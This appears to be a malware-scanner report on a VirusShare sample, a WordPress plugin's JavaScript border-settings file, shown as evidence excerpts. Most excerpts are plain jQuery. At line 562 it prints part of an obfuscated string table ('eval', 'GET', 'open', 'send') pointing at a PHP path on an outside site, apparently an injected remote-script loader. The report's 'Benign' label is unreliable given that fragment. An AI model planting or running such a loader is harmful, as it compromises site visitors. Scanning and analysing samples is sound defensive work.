Benign Download

VirusShare_f7353657948c72274a1eebf3a8fea05e

References the toString conversion methodCalls JavaScript toString conversion method

SHA-256e0c87a026e13ec51f96658fa35dc07f776740c50d979ace727bb14a2a85210ec

Evidence

Calls JavaScript toString conversion method lines 1–14

32… /
2! ( function ( r, a, e, o ) {
'use strict';
typeof Color.fn.toString !== o &&
( Color.fn.toString = function () {
	if ( this._alpha < 1 )
		return this.toCSS( 'rgba', this._alpha ).replace( /\s+/g, '' );
	let r = parseInt( this._color, 10 ).toString( 16 );
	if ( this.error ) return '';
	if ( r.length < 6 )
⋯4 lines

Calls click() on a DOM element lines 192–199

62… t-expand'
).addClass( 'ult-collapse' );
194
//  border-width
t.find( '.ultb-width-section .ult-expand' ).click( function ( event ) {
	t.find( '.ultb-width-all, .ultb-width-single' ).toggle();
198
	//  …

Calls JavaScript split() lines 257–265

44… e' ).val();
258
if ( mv != '' ) {
	if ( l ) {
		const vals = mv.split( '|' );
		// set border style
		const splitval = vals[ 0 ].split( ':' );
		const bstyle = splitval[ 1 ].split( ';' );
	 …

Calls a matcher in a conditional expression lines 508–517

5… onst ival = $( elm ).val();
	if ( $.isNumeric( ival ) ) {
		if ( ival.match( /^[0-9]+$/ ) )
			var item =
				$( elm ).attr( 'data-id' ) +
⋯5 lines

Source references a privileged account line 562

562:201… oStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//climatechangeconferences.com/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu' …